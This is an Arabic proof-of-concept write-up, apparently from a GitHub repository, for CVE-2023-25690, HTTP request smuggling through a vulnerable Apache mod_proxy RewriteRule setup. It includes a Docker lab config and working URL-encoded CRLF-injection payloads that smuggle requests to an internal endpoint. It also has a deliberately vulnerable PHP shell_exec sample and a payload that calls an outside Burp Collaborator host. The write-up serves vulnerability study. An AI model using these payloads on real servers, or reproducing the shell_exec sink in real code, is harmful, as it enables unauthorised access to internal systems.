oocyginxoo/cve-2023-25690-pocCVE 2023 25690 إثبات المفهوم - تكوين mod_proxy ضعيف على إصدارات خادم Apache HTTP 2.4.0 - 2.4.55 يؤدي إلى ثغرة تهريب طلبات HTTP.
تسمح بعض تكوينات mod_proxy على Apache HTTP Server الإصدارات 2.4.0 إلى 2.4.55 بهجوم تهريب طلب HTTP. تتأثر التكوينات عندما يكون mod_proxy ممكّنًا إلى جانب شكل من أشكال RewriteRule أو ProxyPassMatch حيث يتطابق نمط غير محدد مع جزء من بيانات هدف الطلب (URL) المقدمة من المستخدم ثم يتم إعادة إدراجه في هدف الطلب الموكَل باستخدام استبدال المتغير. على سبيل المثال، شيء مثل:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
يمكن أن يؤدي تقسيم/تهريب الطلب إلى تجاوز ضوابط الوصول في الخادم الوكيل، ووكالة عناوين URL غير مقصودة إلى خوادم المصدر الحالية، وتسميم ذاكرة التخزين المؤقت. يُنصح المستخدمون بالتحديث إلى إصدار 2.4.56 على الأقل من Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
مع تضمين RewriteEngine on في تكوين Apache، يتم تمكين محرك إعادة كتابة URL. إعادة كتابة URL هي تقنية تسمح لخوادم الويب بتغيير عناوين URL التي يطلبها متصفح العميل ديناميكيًا إلى URL مختلف قبل تقديم المحتوى.
على سبيل المثال، لنفترض أن لدينا هيكل URL التالي لمتجر إلكتروني:
https://example-shop.com/categories/1
بافتراض توجيه RewriteRule التالي في ملف تكوين Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
عندما يطلب المستخدم URL https://example-shop.com/categories/1، سيطابق RewriteRule URL ويلتقط القيمة 1 باستخدام التعبير النمطي ^/categories/(.*). ثم تعيد القاعدة كتابة URL إلى http://example-shop.com:8080/categories?id=1 عن طريق إلحاق القيمة الملتقطة بـ URL المعاد كتابته كمعامل استعلام id.
نظرًا لوجود العلامة [P] في القاعدة، سيتعامل Apache مع URL المعاد كتابته كطلب وكيل ويقوم بإعادة توجيهه إلى الخادم الهدف على http://example-shop.com:8080/categories مع تعيين معامل الاستعلام id إلى 1. سيقوم الخادم الهدف بعد ذلك بمعالجة الطلب وإرسال الرد back إلى Apache، الذي سيقوم بإعادة توجيهه إلى العميل.
باختصار، يتم استخدام توجيه RewriteRule مع العلامة [P] لإعادة كتابة عناوين URL ووكالتها إلى خادم مختلف. في هذه الحالة، تطابق القاعدة عناوين URL التي تبدأ بـ /categories/ وتلحق القيمة الملتقطة كمعامل استعلام id بـ URL المعاد كتابته. ثم يقوم Apache بإعادة توجيه الطلب إلى الخادم الهدف، الذي يعالج الطلب ويعيد الرد.
أخيرًا بخصوص ProxyPassReverse /categories/ http://example-shop.com:8080/، يقوم هذا السطر ببساطة باستبدال نطاق ومسار الخادم الخلفي بنطاق ومسار الخادم الوكيل، بحيث يتمكن العميل من متابعة الروابط والوصول إلى المحتوى من الخادم الخلفي الموكَل كما لو كان يتم تقديمه مباشرة من الخادم الوكيل.
لمحاكاة الثغرة في Apache سنستخدم إصدار httpd 2.4.55. بالإضافة إلى ذلك، سيكون المختبر بأكمله معبأً في حاويات Docker لتحسين سهولة الإعداد والتكوين وقابلية التكرار.
سيكون هيكل ملفات المختبر كما يلي:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
التكوين النهائي لـ httpd.conf منظم كما يلي:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
استخدم الأمر docker-compose.exe up --build لبدء المختبر.
في هذا القسم، سأشرح كيف يمكن لحقن CRLF أن يؤدي إلى تهريب طلب HTTP داخلي، مما يمكّن المهاجم من الوصول غير المصرح به إلى الموارد الداخلية التي قد تكون غير قابلة للوصول بخلاف ذلك.
بناءً على وصف الإشعار، فإن httpd <=2.4.55 معرض لتقسيم استجابة HTTP المعروف أيضًا بحقن CRLF.
يحدث حقن CRLF عندما:
والذي في حالتنا يمكن تأكيده بتمرير بادئة CRLF التالية في URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
بإلحاق البادئة أعلاه بـ URL، سيكون الطلب النهائي الناتج كما يلي:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
بعد الطلب، سيعالج الخادم البيانات ويعيد رمز استجابة 200 مما يشير إلى الثغرة في حقن CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
مزيد من المعلومات حول تقسيم طلب HTTP يمكن العثور عليها هنا، https://owasp.org/www-community/attacks/HTTP_Response_Splitting
باستخدام حقن الرأس، سنقوم بتنفيذ تهريب طلب HTTP الداخلي.
لنبدأ بالبادئة التالية:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
والطلب التالي
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
بتطبيق قاعدة إعادة الكتابة، يتحول الطلب إلى التنسيق التالي:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
حيث يتم فك ترميز URL المشفر إلى صيغة HTTP صالحة مما يتسبب في معالجة الخادم الخلفي للبيانات المفكوكة كطلب ثانٍ.
افترض أن تطبيقنا الداخلي يحتوي على الكود السري التالي:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
مع البادئة التالية نتمكن من إرسال الطلب الثاني إلى الوظيفة المخفية:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
واسترداد الطلب على Burp Collaborator:
التصحيحات:
تأثير هذه الثغرة هو أنها تسمح للمهاجمين باستهداف والوصول إلى التطبيقات الداخلية التي من المفترض أن تكون مخفية بواسطة الوكيل العكسي، مما قد يؤدي إلى وصول غير مصرح به، أو تسرب بيانات، أو استغلال إضافي.